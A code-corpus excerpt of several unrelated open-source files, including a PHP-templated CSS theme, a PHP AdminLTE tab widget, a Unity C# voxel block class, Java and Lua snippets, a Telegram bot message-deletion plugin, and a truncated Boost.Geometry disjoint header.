margin: 0px 0px;
background: #D5BAA8;
}
.validtitre {
background: #D5BAA8;
font-weight: bold;
}
/* ============================================================================== */
/* Tooltips */
/* ============================================================================== */
#tooltip {
position: absolute;
width: <?php print dol_size(450,'width'); ?>px;
border-top: solid 1px #BBBBBB;
border-<?php print $left; ?>: solid 1px #BBBBBB;
border-<?php print $right; ?>: solid 1px #444444;
border-bottom: solid 1px #444444;
padding: 2px;
z-index: 3000;
background-color: #FFFFF0;
opacity: 1;
-moz-border-radius:6px;
border-radius:6px;
}
/* ============================================================================== */
/* Calendar */
/* ============================================================================== */
.ui-datepicker-trigger {
vertical-align: middle;
cursor: pointer;
}
.bodyline {
padding: 0px;
margin-bottom: 5px;
z-index: 3000;
}
table.dp {
width: 180px;
background-color: #FFFFFF;
border-top: solid 2px #DDDDDD;
border-<?php print $left; ?>: solid 2px #DDDDDD;
border-<?php print $right; ?>: solid 1px #222222;
border-bottom: solid 1px #222222;
-moz-border-radius:8px;
border-radius:8px;
background: #FFA820; /* old browsers */
background: -moz-linear-gradient(top, #FFA820 0%, #FFA820 0%, #FFFFFF 100%); /* firefox */
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#FFA820), color-stop(0%,#FFA820), color-stop(100%,#FFFFFF)); /* webkit */
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFA820', endColorstr='#FFFFFF',GradientType=0); /* ie */
background: -o-linear-gradient(top, #FFA820 0%,#FFA820 0%,#FFFFFF 100%); /* opera */
}
.dp td, .tpHour td, .tpMinute td{padding:2px; font-size:10px;}
/* Barre titre */
.dpHead,.tpHead,.tpHour td:Hover .tpHead{
font-weight:bold;
color:white;
font-size:11px;
cursor:auto;
}
/* Barre navigation */
.dpButtons,.tpButtons {
text-align:center;
background-color:#A51B00;
color:#FFFFFF;
font-weight:bold;
border: 1px outset black;
cursor:pointer;
}
.dpButtons:Active,.tpButtons:Active{border: 1px outset black;}
.dpDayNames td,.dpExplanation {background-color:#FEF4AE; font-weight:bold; text-align:center; font-size:11px;}
.dpExplanation{
font-weight:normal;
font-size:11px;
-moz-border-radius-bottomleft:8px;
-moz-border-radius-bottomright:8px;
border-bottom-left-radius:8px;
border-bottom-right-radius:8px;
//border-right: 1px solid #555555;
//border-bottom: 0px solid #555555;
//border-left: 1px solid #D0D0D0;
//border-top: 1px solid #D8D8D8;
}
.dpWeek td{
text-align:center;
border-bottom: 1px solid #555555;
}
.dpToday,.dpReg,.dpSelected{
cursor:pointer;
}
.dpToday{font-weight:bold; color:black; background-color:#DDDDDD;}
.dpReg:Hover,.dpToday:Hover{background-color:#A51B00;color:#FEF4AE; font-weight: bold;}
/* Jour courant */
.dpSelected {
color:white;
font-weight:bold;
background-color: #A51B00; /* old browsers */
}
.tpHour{border-top:1px solid #DDDDDD; border-right:1px solid #DDDDDD;}
.tpHour td {border-left:1px solid #DDDDDD; border-bottom:1px solid #DDDDDD; cursor:pointer;}
.tpHour td:Hover {background-color:black;color:white;}
.tpMinute {margin-top:5px;}
.tpMinute td:Hover {background-color:black; color:white; }
.tpMinute td {background-color:#D9DBE1; text-align:center; cursor:pointer;}
/* Bouton X fermer */
.dpInvisibleButtons
{
border-style:none;
background-color:transparent;
padding:0px;
font-size:9px;
border-width:0px;
color:#A51B00;
vertical-align:middle;
cursor: pointer;
text-align: right;
font-weight: bold;
}
/* ============================================================================== */
/* Afficher/cacher */
/* ============================================================================== */
div.visible {
display: block;
}
div.hidden {
display: none;
}
tr.visible {
display: block;
}
td.hidden {
display: none;
}
/* ============================================================================== */
/* Module agenda */
/* ============================================================================== */
table.cal_month { border-spacing: 0px; }
.cal_current_month { border-top: 0; border-left: solid 1px #E0E0E0; border-right: 0; border-bottom: solid 1px #E0E0E0; }
.cal_other_month { border-top: 0; border-left: solid 1px #C0C0C0; border-right: 0; border-bottom: solid 1px #C0C0C0; }
.cal_current_month_right { border-right: solid 1px #E0E0E0; }
.cal_other_month_right { border-right: solid 1px #C0C0C0; }
.cal_other_month { background: #DDDDDD; padding-<?php print $left; ?>: 2px; padding-<?php print $right; ?>: 1px; padding-top: 0px; padding-bottom: 0px; }
.cal_past_month { background: #EEEEEE; padding-<?php print $left; ?>: 2px; padding-<?php print $right; ?>: 1px; padding-top: 0px; padding-bottom: 0px; }
.cal_current_month { background: #FFFFFF; padding-<?php print $left; ?>: 2px; padding-<?php print $right; ?>: 1px; padding-top: 0px; padding-bottom: 0px; }
.cal_today { background: #FFFFFF; border: solid 2px #C0C0C0; padding-<?php print $left; ?>: 2px; padding-<?php print $right; ?>: 1px; padding-top: 0px; padding-bottom: 0px; }
table.cal_event { border-collapse: collapse; margin-bottom: 1px; }
table.cal_event td { border: 0px; padding-<?php print $left; ?>: 0px; padding-<?php print $right; ?>: 2px; padding-top: 0px; padding-bottom: 0px; }
ul.cal_event { padding-right: 2px; padding-top: 1px; border: none; list-style-type: none; margin: 0 auto; padding-left: 0px; padding-start: 0px; -khtml-padding-start: 0px; -o-padding-start: 0px; -webkit-padding-start: 0px; -webkit-padding-start: 0px; }
li.cal_event { border: none; list-style-type: none; }
.cal_event a:link {font-size: 11px; font-weight: bold !important; }
.cal_event a:visited {font-size: 11px; font-weight: bold !important; }
.cal_event a:active {font-size: 11px; font-weight: bold !important; }
.cal_event a:hover {font-size: 11px; font-weight: bold !important; }
/* ============================================================================== */
/* Ajax - Liste deroulante de l'autocompletion */
/* ============================================================================== */
.ui-autocomplete-loading { background: white url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/working.gif',1); ?>) right center no-repeat; }
.ui-autocomplete {
position:absolute;
width:auto;
font-size: 1.0em;
background-color:white;
border:1px solid #888;
margin:0px;
padding:0px;
}
.ui-autocomplete ul {
list-style-type:none;
margin:0px;
padding:0px;
}
.ui-autocomplete ul li.selected { background-color: #D3E5EC;}
.ui-autocomplete ul li {
list-style-type:none;
display:block;
margin:0;
padding:2px;
height:16px;
cursor:pointer;
}
/* ============================================================================== */
/* jQuery - jeditable */
/* ============================================================================== */
.editkey_textarea, .editkey_ckeditor, .editkey_string, .editkey_email, .editkey_numeric, .editkey_select, .editkey_autocomplete {
background: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/edit.png',1) ?>) right top no-repeat;
cursor: pointer;
}
.editkey_datepicker {
background: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/calendar.png',1) ?>) right center no-repeat;
cursor: pointer;
}
.editval_textarea.active:hover, .editval_ckeditor.active:hover, .editval_string.active:hover, .editval_email.active:hover, .editval_numeric.active:hover, .editval_select.active:hover, .editval_autocomplete.active:hover, .editval_datepicker.active:hover {
background: white;
cursor: pointer;
}
.viewval_textarea.active:hover, .viewval_ckeditor.active:hover, .viewval_string.active:hover, .viewval_email.active:hover, .viewval_numeric.active:hover, .viewval_select.active:hover, .viewval_autocomplete.active:hover, .viewval_datepicker.active:hover {
background: white;
cursor: pointer;
}
.viewval_hover {
background: white;
}
/* ============================================================================== */
/* Admin Menu */
/* ============================================================================== */
/* CSS for treeview */
.treeview ul { background-color: transparent !important; margin-top: 0; }
.treeview li { background-color: transparent !important; padding: 0 0 0 16px !important; min-height: 20px; }
.treeview .hover { color: black !important; }
/* ============================================================================== */
/* Show Excel tabs */
/* ============================================================================== */
.table_data
{
border-style:ridge;
border:1px solid;
}
.tab_base
{
background:#C5D0DD;
font-weight:bold;
border-style:ridge;
border: 1px solid;
cursor:pointer;
}
.table_sub_heading
{
background:#CCCCCC;
font-weight:bold;
border-style:ridge;
border: 1px solid;
}
.table_body
{
background:#F0F0F0;
font-weight:normal;
font-family: <?php print $fontlist ?>;
border-style:ridge;
border: 1px solid;
border-spacing: 0px;
border-collapse: collapse;
}
.tab_loaded
{
background:#222222;
color:white;
font-weight:bold;
border-style:groove;
border: 1px solid;
cursor:pointer;
}
/* ============================================================================== */
/* CSS for color picker */
/* ============================================================================== */
A.color, A.color:active, A.color:visited {
position : relative;
display : block;
text-decoration : none;
width : 10px;
height : 10px;
line-height : 10px;
margin : 0px;
padding : 0px;
border : 1px inset white;
}
A.color:hover {
border : 1px outset white;
}
A.none, A.none:active, A.none:visited, A.none:hover {
position : relative;
display : block;
text-decoration : none;
width : 10px;
height : 10px;
line-height : 10px;
margin : 0px;
padding : 0px;
cursor : default;
border : 1px solid #b3c5cc;
}
.tblColor {
display : none;
}
.tdColor {
padding : 1px;
}
.tblContainer {
background-color : #b3c5cc;
}
.tblGlobal {
position : absolute;
top : 0px;
left : 0px;
display : none;
background-color : #b3c5cc;
border : 2px outset;
}
.tdContainer {
padding : 5px;
}
.tdDisplay {
width : 50%;
height : 20px;
line-height : 20px;
border : 1px outset white;
}
.tdDisplayTxt {
width : 50%;
height : 24px;
line-height : 12px;
font-family : <?php print $fontlist ?>;
font-size : 8pt;
color : black;
text-align : center;
}
.btnColor {
width : 100%;
font-family : <?php print $fontlist ?>;
font-size : 10pt;
padding : 0px;
margin : 0px;
}
.btnPalette {
width : 100%;
font-family : <?php print $fontlist ?>;
font-size : 8pt;
padding : 0px;
margin : 0px;
}
/* Style to overwrites JQuery styles */
.ui-menu .ui-menu-item a {
text-decoration:none;
display:block;
padding:.2em .4em;
line-height:1.5;
zoom:1;
font-weight: normal;
font-family:<?php echo $fontlist; ?>;
font-size:1em;
}
.ui-widget {
font-family:<?php echo $fontlist; ?>;
font-size:<?php echo $fontsize; ?>px;
}
.ui-button { margin-left: -1px; padding-top: 1px; }
.ui-button-icon-only .ui-button-text { height: 8px; }
.ui-button-icon-only .ui-button-text, .ui-button-icons-only .ui-button-text { padding: 2px 0px 6px 0px; }
.ui-button-text
{
line-height: 1em !important;
}
.ui-autocomplete-input { margin: 0; padding: 1px; }
/* ============================================================================== */
/* CKEditor */
/* ============================================================================== */
.cke_editor table, .cke_editor tr, .cke_editor td
{
border: 0px solid #FF0000 !important;
}
span.cke_skin_kama { padding: 0 !important; }
.cke_wrapper { padding: 4px !important; }
a.cke_dialog_ui_button
{
font-family: <?php print $fontlist ?> !important;
background-image: url(<?php echo dol_buildpath($path.'/theme/'.$theme.'/img/button_bg.png',1); ?>) !important;
background-position: bottom !important;
border: 1px solid #ACBCBB !important;
padding: 0.1em 0.7em !important;
margin: 0em 0.5em !important;
-moz-border-radius:0px 5px 0px 5px !important;
-webkit-border-radius:0px 5px 0px 5px !important;
border-radius:0px 5px 0px 5px !important;
-moz-box-shadow: 4px 4px 4px #CCC !important;
-webkit-box-shadow: 4px 4px 4px #CCC !important;
box-shadow: 4px 4px 4px #CCC !important;
}
/* ============================================================================== */
/* File upload */
/* ============================================================================== */
.template-upload {
height: 72px !important;
}
/* ============================================================================== */
/* JSGantt */
/* ============================================================================== */
div.scroll2 {
width: <?php print isset($_SESSION['dol_screenwidth'])?max($_SESSION['dol_screenwidth']-830,450):'450'; ?>px !important;
}
/* ============================================================================== */
/* jFileTree */
/* ============================================================================== */
.ecmfiletree {
width: 99%;
height: 99%;
background: #FFF;
padding-left: 2px;
font-weight: normal;
}
.fileview {
width: 99%;
height: 99%;
background: #FFF;
padding-left: 2px;
padding-top: 4px;
font-weight: normal;
}
div.filedirelem {
position: relative;
display: block;
text-decoration: none;
}
ul.filedirelem {
padding: 2px;
margin: 0 5px 5px 5px;
}
ul.filedirelem li {
list-style: none;
padding: 2px;
margin: 0 10px 20px 10px;
width: 160px;
height: 120px;
text-align: center;
display: block;
float: <?php print $left; ?>;
border: solid 1px #DDDDDD;
}
ui-layout-north {
}
ul.ecmjqft {
font-size: 11px;
line-height: 16px;
padding: 0px;
margin: 0px;
font-weight: normal;
}
ul.ecmjqft li {
list-style: none;
padding: 0px;
padding-left: 20px;
margin: 0px;
white-space: nowrap;
display: block;
}
ul.ecmjqft a {
line-height: 16px;
vertical-align: middle;
color: #333;
padding: 0px 0px;
font-weight:normal;
display: inline-block !important;
/* float: left;*/
}
ul.ecmjqft a:active {
font-weight: bold !important;
}
ul.ecmjqft a:hover {
text-decoration: underline;
}
div.ecmjqft {
vertical-align: middle;
display: inline-block !important;
text-align: right;
position:absolute;
right:8px;
}
/* Core Styles */
.ecmjqft LI.directory { font-weight:normal; background: url(<?php echo dol_buildpath($path.'/theme/common/treemenu/folder2.png',1); ?>) left top no-repeat; }
.ecmjqft LI.expanded { font-weight:normal; background: url(<?php echo dol_buildpath($path.'/theme/common/treemenu/folder2-expanded.png',1); ?>) left top no-repeat; }
.ecmjqft LI.wait { font-weight:normal; background: url(<?php echo dol_buildpath('/theme/'.$theme.'/img/working.gif',1); ?>) left top no-repeat; }
/* ============================================================================== */
/* jNotify */
/* ============================================================================== */
.jnotify-container {
position: fixed !important;
<?php if (! empty($conf->global->MAIN_JQUERY_JNOTIFY_BOTTOM)) { ?>
top: auto !important;
bottom: 4px !important;
<?php } ?>
text-align: center;
min-width: <?php echo $dol_optimize_smallscreen?'200':'480'; ?>px;
width: auto;
padding-left: 10px !important;
padding-right: 10px !important;
}
/* ============================================================================== */
/* Maps */
/* ============================================================================== */
.divmap, #google-visualization-geomap-embed-0, #google-visualization-geomap-embed-1, google-visualization-geomap-embed-2 {
-moz-box-shadow: 0px 0px 10px #AAA;
-webkit-box-shadow: 0px 0px 10px #AAA;
box-shadow: 0px 0px 10px #AAA;
}
/* ============================================================================== */
/* Datatable */
/* ============================================================================== */
.sorting_asc { background: url('<?php echo dol_buildpath('/theme/'.$theme.'/img/sort_asc.png',1); ?>') no-repeat center right; }
.sorting_desc { background: url('<?php echo dol_buildpath('/theme/'.$theme.'/img/sort_desc.png',1); ?>') no-repeat center right; }
.sorting_asc_disabled { background: url('<?php echo dol_buildpath('/theme/'.$theme.'/img/sort_asc_disabled',1); ?>') no-repeat center right; }
.sorting_desc_disabled { background: url('<?php echo dol_buildpath('/theme/'.$theme.'/img/sort_desc_disabled',1); ?>') no-repeat center right; }
/* ============================================================================== */
/* JMobile */
/* ============================================================================== */
li.ui-li-divider .ui-link {
color: #FFF !important;
}
.ui-btn {
margin: 0.1em 2px
}
a.ui-link, a.ui-link:hover, .ui-btn:hover, span.ui-btn-text:hover, span.ui-btn-inner:hover {
text-decoration: none !important;
}
.ui-btn-inner {
min-width: .4em;
padding-left: 10px;
padding-right: 10px;
<?php if (empty($dol_use_jmobile) || 1==1) { ?>
font-size: <?php print $fontsize ?>px;
<?php } ?>
/* white-space: normal; */ /* Warning, enable this break the truncate feature */
}
.ui-select .ui-btn-icon-right .ui-btn-inner {
padding-right: 36px;
}
.ui-select .ui-btn-icon-left .ui-btn-inner {
padding-left: 36px;
}
.fiche .ui-controlgroup {
margin: 0px;
padding-bottom: 0px;
}
div.ui-controlgroup-controls div.tabsElem
{
margin-top: 2px;
}
div.ui-controlgroup-controls div.tabsElem a
{
-moz-box-shadow: 0 -3px 6px rgba(0,0,0,.2);
-webkit-box-shadow: 0 -3px 6px rgba(0,0,0,.2);
box-shadow: 0 -3px 6px rgba(0,0,0,.2);
border: none;
}
a.tab span.ui-btn-inner
{
border: none;
padding: 0;
}
.ui-body-c {
border: 1px solid #CCC;
text-shadow: none;
}
.ui-link {
color: rgb(<?php print $colortext; ?>) !important;
}
a.ui-link {
word-wrap: break-word;
}
/* force wrap possible onto field overflow does not works */
.formdoc .ui-btn-inner
{
white-space: normal;
overflow: hidden;
text-overflow: hidden;
}
/* Warning: setting this may make screen not beeing refreshed after a combo selection */
.ui-body-c {
background: #fff;
}
div.ui-radio
{
display: inline-block;
}
.ui-checkbox input, .ui-radio input {
height: auto;
width: auto;
margin: 4px;
position: static;
}
div.ui-checkbox label+input, div.ui-radio label+input {
position: absolute;
}
.ui-mobile fieldset
{
padding-bottom: 10px; margin-bottom: 4px; border-bottom: 1px solid #AAAAAA !important;
}
ul.ulmenu {
border-radius: 0;
-webkit-border-radius: 0;
}
.ui-field-contain label.ui-input-text {
vertical-align: middle !important;
}
.ui-mobile fieldset {
border-bottom: none !important;
}
/* Style for first level menu with jmobile */
.ui-bar-b, .lilevel0 {
background: rgb(<?php echo $colorbacktitle1; ?>);
background-repeat: repeat-x;
<?php if ($usecss3) { ?>
background-image: -o-linear-gradient(bottom, rgba(0,0,0,0.3) 0%, rgba(250,250,250,0.3) 100%);
background-image: -moz-linear-gradient(bottom, rgba(0,0,0,0.3) 0%, rgba(250,250,250,0.3) 100%);
background-image: -webkit-linear-gradient(bottom, rgba(0,0,0,0.3) 0%, rgba(250,250,250,0.3) 100%);
background-image: -ms-linear-gradient(bottom, rgba(0,0,0,0.3) 0%, rgba(250,250,250,0.3) 100%);
background-image: linear-gradient(bottom, rgba(0,0,0,0.3) 0%, rgba(250,250,250,0.3) 100%);
font-weight: bold;
<?php } ?>
color: #<?php echo $colortexttitle; ?> !important;
}
.ui-body-c, .ui-btn-up-c, .ui-btn-hover-c {
border: none !important;
}
.alilevel0 {
color: #<?php echo $colortexttitle; ?> !important;
text-shadow: 1px 0px 1px #<?php echo $colorshadowtitle; ?>;
}
.alilevel1 {
color: #<?php echo $colortexttitle; ?> !important;
text-shadow: 1px 0px 1px #<?php echo $colorshadowtitle; ?>;
}
.lilevel1 {
background-image: -webkit-gradient(linear,left top,left bottom,from( #eee ),to( #e1e1e1 )) !important;
background-image: -webkit-linear-gradient( #eee,#e1e1e1 ) !important;
background-image: -moz-linear-gradient( #eee,#e1e1e1 ) !important;
background-image: -ms-linear-gradient( #eee,#e1e1e1 ) !important;
background-image: -o-linear-gradient( #eee,#e1e1e1 ) !important;
background-image: linear-gradient( #eee,#e1e1e1 ) !important;
}
<?php
if (is_object($db)) $db->close();
?>
| gpl-3.0 |
ExFace/AdminLteTemplate | Facades/Elements/LteTab.php | 3217 | <?php
namespace exface\AdminLTEFacade\Facades\Elements;
use exface\Core\Widgets\Tab;
/**
* @method Tab getWidget()
*
* @author Andrej Kabachnik
*
*/
class LteTab extends ltePanel
{
function buildHtml()
{
$output = <<<HTML
<div id="{$this->getId()}" class="nav-tabs-custom">
<ul class="nav nav-tabs">
{$this->buildHtmlHeader()}
</ul>
<div class="tab-content">
{$this->buildHtmlBody()}
</div>
</div>
HTML;
return $output;
}
function buildHtmlHeader()
{
$widget = $this->getWidget();
// der erste Tab ist aktiv
$active_class = $widget === $widget->getParent()->getTab(0) ? 'active' : '';
$disabled_class = $widget->isDisabled() ? 'disabled' : '';
$icon = $widget->getIcon() ? '<i class="' . $this->buildCssIconClass($widget->getIcon()) . '"></i>' : '';
$output = <<<HTML
<li class="{$active_class} {$disabled_class}">
<a href="#{$this->getId()}" data-toggle="tab" class="{$disabled_class}">{$icon} {$this->getWidget()->getCaption()}</a>
</li>
HTML;
return $output;
}
function buildHtmlBody()
{
$widget = $this->getWidget();
// der erste Tab ist aktiv
$active_class = $widget === $widget->getParent()->getTab(0) ? 'active' : '';
$output = <<<HTML
<div class="tab-pane {$active_class}" id="{$this->getId()}">
<div class="tab-pane-content-wrapper row">
<div class="grid" id="{$this->getId()}_masonry_grid" style="width:100%;height:100%;">
{$this->buildHtmlForChildren()}
<div class="{$this->getColumnWidthClasses()} {$this->buildCssLayoutItemClass()}" id="{$this->getId()}_sizer"></div>
</div>
</div>
</div>
HTML;
return $output;
}
public function buildJs()
{
$output = parent::buildJs();
$output .= <<<JS
$("a[href='#{$this->getId()}']").on("shown.bs.tab", function(e) {
{$this->buildJsLayouter()};
});
JS;
return $output;
}
/**
* The default column number for tabs is defined for the tabs widget or its derivatives.
*
* @return integer
*/
public function getNumberOfColumnsByDefault() : int
{
$parent_element = $this->getFacade()->getElement($this->getWidget()->getParent());
if (method_exists($parent_element, 'getNumberOfColumnsByDefault')) {
return $parent_element->getNumberOfColumnsByDefault();
}
return parent::getNumberOfColumnsByDefault();
}
/**
* If the tab inherits the column number from a parent layout widget is defined for
* the tabs widget or its derivatives.
*
* @return boolean
*/
public function inheritsNumberOfColumns() : bool
{
$parent_element = $this->getFacade()->getElement($this->getWidget()->getParent());
if (method_exists($parent_element, 'inheritsNumberOfColumns')) {
return $parent_element->inheritsNumberOfColumns();
}
return parent::inheritsNumberOfColumns();
}
}
?>
| gpl-3.0 |
ty359/ilmenite | UnityProject/Ilmenite Main/Assets/Scripts/Block.cs | 4650 | using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class Block
{
public static float sideLength = 0.5f;
public static float halfSideLength = sideLength / 2;
public static Dictionary <int, Vector3> sides = new Dictionary <int, Vector3>
{
{ 0, Vector3.right },
{ 1, Vector3.up },
{ 2, Vector3.forward },
{ 3, Vector3.left },
{ 4, Vector3.down },
{ 5, Vector3.back },
};
BlockProtoType protoType;
BlockComponent component;
public void RenderAt(ChunkRenderHandle handle, Vector3 position, BlockVisibleStatus visibleStatus)
{
protoType.RenderAt(handle, position, component, visibleStatus);
}
public static Block CreateBlockByID(int id)
{
return new Block
{
protoType = BlockProtoType.GetProtoTypeByID(id),
component = null
};
}
}
public abstract class BlockProtoType
{
abstract public void RenderAt(ChunkRenderHandle handle, Vector3 position, BlockComponent component, BlockVisibleStatus visibleStatus);
abstract public int GetBlockID();
abstract public bool IsSolid();
const int blockProtoTypePoolSize = 10000;
internal static BlockProtoType[] blockProtoTypePool = new BlockProtoType[blockProtoTypePoolSize];
public static BlockProtoType GetProtoTypeByID(int id)
{
return blockProtoTypePool[id];
}
}
public class BlockComponent
{
}
public class BlockVisibleStatus
{
byte FaceVisibleStatus;
public static BlockVisibleStatus AllVisible = new BlockVisibleStatus();
BlockVisibleStatus()
{
this.FaceVisibleStatus = (1 << 8) - 1;
}
public bool Visible()
{
return FaceVisibleStatus != 0;
}
public bool FaceVisible(int side)
{
return (FaceVisibleStatus >> side & 1) != 0;
}
}
internal class SolidBlockProtoType : BlockProtoType
{
int id;
// 六个面的素材坐标
internal Vector2[][] uvs;
public override bool IsSolid()
{
return true;
}
public override void RenderAt(ChunkRenderHandle handle, Vector3 position, BlockComponent component, BlockVisibleStatus visibleStatus)
{
if (!visibleStatus.Visible())
return;
// TODO
// 未验证的问题:为什么改为 Vector(1, 0, 0)会出BUG
Vector3 baseDirc = new Vector3(0, 0, 1);
foreach (var side in Block.sides)
{
if (visibleStatus.FaceVisible(side.Key))
{
BuildMeshFace(
handle.meshList,
position,
Quaternion.FromToRotation(baseDirc, side.Value),
uvs[side.Key]);
}
}
}
// 绘制position为中心的正方体的面
static void BuildMeshFace(ChunkRenderHandle.MeshList meshList, Vector3 position, Quaternion rotation, Vector2[] uv)
{
int meshSize = meshList.VCount();
// 从上往下看
// 左下
meshList.vertices.Add(rotation * new Vector3(-Block.halfSideLength, -Block.halfSideLength, -Block.halfSideLength) + position);
meshList.uv.Add(uv[0]);
// 右下
meshList.vertices.Add(rotation * new Vector3(Block.halfSideLength, -Block.halfSideLength, -Block.halfSideLength) + position);
meshList.uv.Add(uv[1]);
// 右上
meshList.vertices.Add(rotation * new Vector3(Block.halfSideLength, Block.halfSideLength, -Block.halfSideLength) + position);
meshList.uv.Add(uv[2]);
// 左上
meshList.vertices.Add(rotation * new Vector3(-Block.halfSideLength, Block.halfSideLength, -Block.halfSideLength) + position);
meshList.uv.Add(uv[3]);
meshList.triangles.Add(meshSize);
meshList.triangles.Add(meshSize + 3);
meshList.triangles.Add(meshSize + 1);
meshList.triangles.Add(meshSize + 1);
meshList.triangles.Add(meshSize + 3);
meshList.triangles.Add(meshSize + 2);
}
public override int GetBlockID()
{
return id;
}
internal SolidBlockProtoType(int id, Vector2[] uv)
{
this.id = id;
this.uvs = new Vector2[][] {
uv,uv,uv,uv,uv,uv
};
}
}
public static class BlockProtoTypeAssigner
{
public static void Assign()
{
BlockProtoType.blockProtoTypePool[1] =
new SolidBlockProtoType(1, new Vector2[] {
new Vector2(0, 0),
new Vector2(32f/2048, 0),
new Vector2(32f/2048,32f/2048),
new Vector2(0,32f/2048)
});
}
} | gpl-3.0 |
miwilska/gry-rozne | Pasjanse/src/test/java/cards/UICardPanelTest.java | 2298 | /*
* GNU GENERAL PUBLIC LICENSE
* Version 3, 29 June 2007
*
* "Pasjanse" - solitaire - card games for one person
* Copyright (C) {2016} {Magdalena Wilska}
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
*
*/
package cards;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
/**
* Created by magdalena on 04.12.16.
*/
public class UICardPanelTest {
@Before
public void setUp() throws Exception {
}
@After
public void tearDown() throws Exception {
}
@Test
public void paintComponent() throws Exception {
}
@Test
public void drawJockersForFun() throws Exception {
}
@Test
public void drawJockersForFun1() throws Exception {
}
@Test
public void drawJockersForFun2() throws Exception {
}
@Test
public void _drawPile() throws Exception {
}
@Test
public void _findPileAt() throws Exception {
}
@Test
public void setAutoCompletion() throws Exception {
}
@Test
public void setChoseVersion() throws Exception {
}
@Test
public void setActionHint() throws Exception {
}
@Test
public void setChooseDrawintMethod() throws Exception {
}
@Test
public void _clearDrag() throws Exception {
}
@Test
public void _clearCheckMove() throws Exception {
}
@Test
public void mousePressed() throws Exception {
}
@Test
public void mouseDragged() throws Exception {
}
@Test
public void mouseReleased() throws Exception {
}
@Test
public void mouseClicked() throws Exception {
}
@Test
public void printMessage() throws Exception {
}
@Test
public void stateChanged() throws Exception {
}
} | gpl-3.0 |
rouzbeh/Modigliani | examples/common/timestep.lua | 108 | local M={}
M.timestep = 0.1
function M.set_timestep(new_timestep)
timestep = new_timestep
end
return M
| gpl-3.0 |
Sar777/onliner | app/src/main/java/by/orion/onlinertasks/data/models/task/Price.java | 516 | package by.orion.onlinertasks.data.models.task;
import com.google.auto.value.AutoValue;
import com.google.gson.Gson;
import com.google.gson.TypeAdapter;
import com.google.gson.annotations.SerializedName;
@AutoValue
public abstract class Price {
@SerializedName("amount")
public abstract String amount();
@SerializedName("currency")
public abstract String currency();
public static TypeAdapter<Price> typeAdapter(Gson gson) {
return new AutoValue_Price.GsonTypeAdapter(gson);
}
}
| gpl-3.0 |
EMCTEAM-IRAN/superflux-bot | plugins/delete.lua | 775 | do
local function get_message_callback(extra, success, result)
if result.to.peer_type == 'channel' then
if our_id == result.from.peer_id then
--local del = delete_msg(result.id, ok_cb, true)
else
local del = delete_msg(result.id, ok_cb, true)
if del == false then
send_msg(extra, "deleting failed.", ok_cb, false)
return
end
end
else
send_msg(extra, "", ok_cb, false)
return
end
end
local function run(msg, matches)
if matches[1] == "del" and msg.reply_id then
msgr = get_message(msg.reply_id,get_message_callback, get_receiver(msg))
end
end
return {
description = "delete user msg.",
usage = {
},
patterns = {
"^/(del)$"
},
run = run,
moderated = true,
hide = true
}
| gpl-3.0 |
v4hn/Las-Vegas-Reconstruction | ext/boost148/geometry/algorithms/disjoint.hpp | 6975 | // Boost.Geometry (aka GGL, Generic Geometry Library)
// Copyright (c) 2007-2011 Barend Gehrels, Amsterdam, the Netherlands.
// Copyright (c) 2008-2011 Bruno Lalande, Paris, France.
// Copyright (c) 2009-2011 Mateusz Loskot, London, UK.
// Parts of Boost.Geometry are redesigned from Geodan's Geographic Library
// (geolib/GGL), copyright (c) 1995-2010 Geodan, Amsterdam, the Netherlands.
// Use, modification and distribution is subject to the Boost Software License,
// Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#ifndef BOOST_GEOMETRY_ALGORITHMS_DISJOINT_HPP
#define BOOST_GEOMETRY_ALGORITHMS_DISJOINT_HPP
#include <cstddef>
#include <deque>
#include <boost/mpl/if.hpp>
#include <boost/range.hpp>
#include <boost/static_assert.hpp>
#include <boost148/geometry/core/access.hpp>
#include <boost148/geometry/core/coordinate_dimension.hpp>
#include <boost148/geometry/core/reverse_dispatch.hpp>
#include <boost148/geometry/algorithms/detail/disjoint.hpp>
#include <boost148/geometry/algorithms/detail/point_on_border.hpp>
#include <boost148/geometry/algorithms/detail/overlay/get_turns.hpp>
#include <boost148/geometry/algorithms/within.hpp>
#include <boost148/geometry/geometries/concepts/check.hpp>
#include <boost148/geometry/util/math.hpp>
namespace boost { namespace geometry
{
#ifndef DOXYGEN_NO_DETAIL
namespace detail { namespace disjoint
{
template <typename Geometry1, typename Geometry2>
struct disjoint_linear
{
static inline bool apply(Geometry1 const& geometry1, Geometry2 const& geometry2)
{
typedef typename geometry::point_type<Geometry1>::type point_type;
typedef overlay::turn_info<point_type> turn_info;
std::deque<turn_info> turns;
// Get (and stop on) any intersection
disjoint_interrupt_policy policy;
geometry::get_turns
<
false, false,
overlay::assign_null_policy
>(geometry1, geometry2, turns, policy);
if (policy.has_intersections)
{
return false;
}
return true;
}
};
template <typename Segment1, typename Segment2>
struct disjoint_segment
{
static inline bool apply(Segment1 const& segment1, Segment2 const& segment2)
{
typedef typename point_type<Segment1>::type point_type;
segment_intersection_points<point_type> is
= strategy::intersection::relate_cartesian_segments
<
policies::relate::segments_intersection_points
<
Segment1,
Segment2,
segment_intersection_points<point_type>
>
>::apply(segment1, segment2);
return is.count == 0;
}
};
template <typename Geometry1, typename Geometry2>
struct general_areal
{
static inline bool apply(Geometry1 const& geometry1, Geometry2 const& geometry2)
{
if (! disjoint_linear<Geometry1, Geometry2>::apply(geometry1, geometry2))
{
return false;
}
typedef typename geometry::point_type<Geometry1>::type point_type;
// If there is no intersection of segments, they might located
// inside each other
point_type p1;
geometry::point_on_border(p1, geometry1);
if (geometry::within(p1, geometry2))
{
return false;
}
typename geometry::point_type<Geometry1>::type p2;
geometry::point_on_border(p2, geometry2);
if (geometry::within(p2, geometry1))
{
return false;
}
return true;
}
};
}} // namespace detail::disjoint
#endif // DOXYGEN_NO_DETAIL
#ifndef DOXYGEN_NO_DISPATCH
